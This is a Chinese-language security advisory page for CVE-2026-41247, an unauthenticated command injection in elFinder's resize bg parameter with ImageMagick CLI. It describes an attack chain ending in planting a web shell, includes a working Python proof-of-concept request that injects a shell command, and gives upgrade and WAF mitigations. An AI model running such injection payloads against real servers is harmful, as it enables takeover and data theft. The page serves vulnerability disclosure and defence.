IPBUF安全漏洞报告
English
CVE-2026-41247 CVSS 9.8 严重

CVE-2026-41247 elFinder远程命令执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41247
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
elFinder

相关标签

远程代码执行命令注入elFinderCVE-2026-41247RCE

漏洞概述

elFinder是一个基于JavaScript和jQuery UI的开源Web文件管理器。在2.1.67之前的版本中,该组件存在一个严重的命令注入漏洞。漏洞产生的原因是resize命令在处理用户提交的bg(背景颜色)参数时缺乏有效的安全过滤。当系统配置使用ImageMagick CLI作为图片处理后端时,未经转义的参数值会被直接拼接到Shell命令中执行。未经身份验证的攻击者可利用此漏洞发送特制请求,从而在服务器端执行任意系统命令,获取服务器控制权。

技术细节

该漏洞存在于elFinder使用ImageMagick命令行工具(CLI)作为图片处理后端的配置中。在处理图片resize(调整大小)或rotate(旋转)操作时,应用程序从用户请求中获取`bg`(背景颜色)参数。由于程序未对该参数进行严格的输入验证和Shell字符转义,直接将其拼接到执行的ImageMagick命令字符串中。攻击者可以利用这一缺陷,通过构造包含Shell元字符(如`;`、`` ` ``、`|`等)的恶意Payload,逃逸出原本的命令执行上下文。一旦攻击成功,恶意代码将作为Web服务器进程用户(通常是www-data或apache)在服务器端执行。由于CVSS向量显示无需认证且攻击复杂度低,这使得该漏洞极具危险性,攻击者可轻易接管服务器权限、窃取数据或部署后门。

攻击链分析

STEP 1
侦查
攻击者识别目标服务器上运行的elFinder版本,确认其低于2.1.67,并检测其是否使用ImageMagick CLI作为后端。
STEP 2
漏洞利用
攻击者向elFinder的API端点发送特制的HTTP POST请求,调用resize命令,并在bg参数中注入恶意的Shell命令。
STEP 3
命令执行
服务器接收到请求后,将未经充分转义的bg参数拼接到ImageMagick命令中并在Shell中执行,导致攻击者的恶意代码被运行。
STEP 4
权限维持
攻击者利用执行权限写入WebShell或后门程序,以维持对服务器的持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL where elFinder is hosted url = "http://target.com/elfinder/php/connector.php" # The 'bg' parameter is vulnerable to command injection # Example payload to execute 'id' command via shell injection # Syntax may vary based on the specific ImageMagick CLI construction payload = "\"; id; #" data = { "cmd": "resize", "target": "l1_Lw", # This should be replaced with a valid file hash on the server "width": 200, "height": 200, "bg": payload } try: response = requests.post(url, data=data) if response.status_code == 200: print("Request sent successfully.") print("Response:") print(response.text) else: print(f"Failed to send request, status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

elFinder < 2.1.67

防御指南

临时缓解措施
建议立即将elFinder组件升级到2.1.67或更高版本以彻底修复此漏洞。对于无法立即升级的环境,应通过WAF(Web应用防火墙)规则拦截针对resize命令中bg参数的特殊字符注入,或者在应用层面禁用受影响的功能模块,直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表